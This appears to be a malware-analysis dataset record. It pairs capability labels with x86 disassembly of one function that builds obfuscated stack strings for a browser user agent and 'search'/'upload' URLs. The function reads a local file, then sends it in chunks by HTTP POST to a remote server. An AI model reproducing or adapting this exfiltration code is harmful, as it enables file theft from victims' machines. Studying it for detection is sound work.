Function at 0x402a2f
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10c4
call fcn.00405270
push ebx
push esi
push edi
xor ebx, ebx
push 0x200
lea eax, [ebp - 0x4c4]
push ebx
push eax
mov dword [ebp - 4], ebx
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x4c4]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0xc]
mov byte [ebp - 0xc], 0x72
push eax
lea eax, [ebp - 0x4c4]
push eax
mov byte [ebp - 0xb], 0x62
mov byte [ebp - 0xa], bl
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 0x1c
cmp edi, ebx
mov dword [ebp + 8], edi
jne 0x402a92
mov dword [ebp - 4], ebx
jmp 0x402ad7
mov esi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push ebx
push edi
call esi
lea eax, [ebp - 0xc0]
push eax
push edi
call dword [sym.imp.MSVCRT.dll_fgetpos]
mov eax, dword [ebp - 0xc0]
add esp, 0x14
cmp dword [ebp + 0xc], eax
mov dword [ebp - 4], eax
jb 0x402ac7
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
jmp 0x402a8d
push ebx
push dword [ebp + 0xc]
push edi
call esi
mov eax, dword [ebp + 0xc]
add esp, 0xc
sub dword [ebp - 4], eax
push 0x100
lea eax, [ebp - 0x1c4]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.MSVCRT.dll_time]
push ebx
mov byte [ebp - 0x50], 0x4d
mov byte [ebp - 0x4f], 0x6f
mov byte [ebp - 0x4e], 0x7a
mov byte [ebp - 0x4d], 0x69
mov byte [ebp - 0x4c], 0x6c
mov byte [ebp - 0x4b], 0x6c
mov byte [ebp - 0x4a], 0x61
mov byte [ebp - 0x49], 0x2f
mov byte [ebp - 0x48], 0x35
mov byte [ebp - 0x47], 0x2e
mov byte [ebp - 0x46], 0x30
mov byte [ebp - 0x45], 0x20
mov byte [ebp - 0x44], 0x28
mov byte [ebp - 0x43], 0x63
mov byte [ebp - 0x42], 0x6f
mov byte [ebp - 0x41], 0x6d
mov byte [ebp - 0x40], 0x70
mov byte [ebp - 0x3f], 0x61
mov byte [ebp - 0x3e], 0x74
mov byte [ebp - 0x3d], 0x69
mov byte [ebp - 0x3c], 0x62
mov byte [ebp - 0x3b], 0x6c
mov byte [ebp - 0x3a], 0x65
mov byte [ebp - 0x39], 0x3b
mov byte [ebp - 0x38], 0x57
mov byte [ebp - 0x37], 0x69
mov byte [ebp - 0x36], 0x6e
mov byte [ebp - 0x35], 0x64
mov byte [ebp - 0x34], 0x6f
mov byte [ebp - 0x33], 0x77
mov byte [ebp - 0x32], 0x73
mov byte [ebp - 0x31], 0x20
mov byte [ebp - 0x30], 0x4e
mov byte [ebp - 0x2f], 0x54
mov byte [ebp - 0x2e], 0x20
mov byte [ebp - 0x2d], 0x35
mov byte [ebp - 0x2c], 0x2e
mov byte [ebp - 0x2b], 0x32
mov byte [ebp - 0x2a], 0x29
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x24], 0x48
mov byte [ebp - 0x23], 0x54
mov byte [ebp - 0x22], 0x54
mov byte [ebp - 0x21], 0x50
mov byte [ebp - 0x20], 0x2f
mov byte [ebp - 0x1f], 0x31
mov byte [ebp - 0x1e], 0x2e
mov byte [ebp - 0x1d], 0x31
mov byte [ebp - 0x1c], bl
call esi
mov edi, dword [sym.imp.MSVCRT.dll_srand]
push eax
call edi
add esp, 0x14
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x65
mov byte [ebp - 0x76], 0x61
push 0x409124
mov byte [ebp - 0x75], 0x72
mov byte [ebp - 0x74], 0x63
mov byte [ebp - 0x73], 0x68
mov byte [ebp - 0x72], 0x30
mov byte [ebp - 0x71], 0x25
mov byte [ebp - 0x70], 0x64
mov byte [ebp - 0x6f], 0x3f
mov byte [ebp - 0x6e], 0x68
mov byte [ebp - 0x6d], 0x31
mov byte [ebp - 0x6c], 0x3d
mov byte [ebp - 0x6b], 0x25
mov byte [ebp - 0x6a], 0x73
mov byte [ebp - 0x69], bl
call dword [sym.imp.MSVCRT.dll_rand]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x2c4]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 0x50]
push ebx
push ebx
push ebx
push ebx
push eax
call dword [0x409200]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x402f8b
mov cx, word [0x407010]
push ebx
push ebx
push 3
push ebx
push ebx
push ecx
push 0x409188
push eax
call dword [0x409210]
cmp eax, ebx
mov dword [ebp - 0x18], eax
jne 0x402c67
push dword [ebp + 0xc]
call dword [0x4091f8]
jmp 0x402f8b
push ebx
push 0x4400000
push ebx
lea ecx, [ebp - 0x24]
push ebx
push ecx
lea ecx, [ebp - 0x2c4]
mov byte [ebp - 0x88], 0x47
push ecx
lea ecx, [ebp - 0x88]
push ecx
push eax
mov byte [ebp - 0x87], 0x45
mov byte [ebp - 0x86], 0x54
mov byte [ebp - 0x85], bl
call dword [0x409218]
cmp eax, ebx
mov dword [ebp - 8], eax
jne 0x402cb8
push dword [ebp + 0xc]
call dword [0x4091f8]
push dword [ebp - 0x18]
jmp 0x402c5c
push ebx
push ebx
push ebx
push ebx
push eax
call dword [0x40921c]
test eax, eax
jne 0x402ccf
mov edi, dword [ebp - 8]
jmp 0x402ee7
push 0x800
lea eax, [ebp - 0x10c4]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc4]
push eax
lea eax, [ebp - 0x10c4]
push 0x800
push eax
push dword [ebp - 8]
call dword [0x409214]
test eax, eax
je 0x402cc7
push ebx
mov byte [ebp - 0x64], 0x75
mov byte [ebp - 0x63], 0x70
mov byte [ebp - 0x62], 0x6c
mov byte [ebp - 0x61], 0x6f
mov byte [ebp - 0x60], 0x61
mov byte [ebp - 0x5f], 0x64
mov byte [ebp - 0x5e], 0x38
mov byte [ebp - 0x5d], 0x25
mov byte [ebp - 0x5c], 0x64
mov byte [ebp - 0x5b], 0x3f
mov byte [ebp - 0x5a], 0x68
mov byte [ebp - 0x59], 0x31
mov byte [ebp - 0x58], 0x3d
mov byte [ebp - 0x57], 0x25
mov byte [ebp - 0x56], 0x73
mov byte [ebp - 0x55], bl
call esi
push eax
call edi
pop ecx
pop ecx
push 0x409124
call dword [sym.imp.MSVCRT.dll_rand]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x1c4]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 0x50]
push ebx
push ebx
push ebx
push ebx
push eax
call dword [0x409200]
mov edi, eax
cmp edi, ebx
mov dword [ebp + 0xc], edi
jne 0x402d91
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
jmp 0x402f8b
mov ax, word [0x407010]
push ebx
push ebx
push 3
push ebx
push ebx
push eax
push 0x409188
push edi
call dword [0x409210]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 0x18], esi
jne 0x402db6
push edi
jmp 0x402e1b
lea eax, [ebp - 0x10]
push ebx
mov dword [ebp - 0x90], eax
lea eax, [ebp - 0x90]
push 0x4400000
push eax
lea eax, [ebp - 0x24]
push ebx
push eax
lea eax, [ebp - 0x1c4]
push eax
lea eax, [ebp - 0x80]
push eax
push esi
mov byte [ebp - 0x10], 0x2a
mov byte [ebp - 0xf], 0x2f
mov byte [ebp - 0xe], 0x2a
mov byte [ebp - 0xd], bl
mov byte [ebp - 0x80], 0x50
mov byte [ebp - 0x7f], 0x4f
mov byte [ebp - 0x7e], 0x53
mov byte [ebp - 0x7d], 0x54
mov byte [ebp - 0x7c], bl
mov dword [ebp - 0x8c], ebx
call dword [0x409218]
mov edi, eax
cmp edi, ebx
jne 0x402e26
push dword [ebp + 0xc]
call dword [0x4091f8]
push esi
call dword [0x4091f8]
jmp 0x402d82
mov eax, dword [ebp - 4]
push 4
mov dword [ebp - 0x9c], eax
pop esi
lea eax, [ebp - 0x14]
push esi
push eax
push 2
push edi
mov dword [ebp - 0xb8], 0x28
mov dword [ebp - 0xb4], ebx
mov dword [ebp - 0xb0], ebx
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x14], 5
call dword [0x4091f4]
lea eax, [ebp - 0x14]
push esi
push eax
push 5
push edi
call dword [0x4091f4]
lea eax, [ebp - 0x14]
push esi
push eax
push 6
push edi
call dword [0x4091f4]
lea eax, [ebp - 0x14]
push esi
push eax
push 7
push edi
call dword [0x4091f4]
push ebx
push 8
lea eax, [ebp - 0xb8]
push ebx
push eax
push edi
call dword [0x409208]
test eax, eax
je 0x402f8b
cmp dword [ebp - 4], ebx
jne 0x402f07
push ebx
push 8
push ebx
push edi
call dword [0x40920c]
cmp dword [ebp + 8], ebx
je 0x402ee4
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
push 1
pop ebx
push dword [ebp + 0xc]
call dword [0x4091f8]
push dword [ebp - 0x18]
call dword [0x4091f8]
push edi
call dword [0x4091f8]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
mov esi, 0x400
push esi
lea eax, [ebp - 0x8c4]
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x8c4]
push esi
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x1c
cmp eax, ebx
mov dword [ebp - 8], eax
jle 0x402f6e
push eax
lea eax, [ebp - 0x8c4]
push eax
call fcn.00403677
pop ecx
lea eax, [ebp - 4]
pop ecx
push eax
lea eax, [ebp - 0x8c4]
push dword [ebp - 8]
push eax
push edi
call dword [0x409204]
test eax, eax
jne 0x402f0c
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
jmp 0x402ee7
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
push ebx
push 8
push ebx
push edi
call dword [0x40920c]
test eax, eax
jne 0x402ee4
xor eax, eax
jmp 0x402f02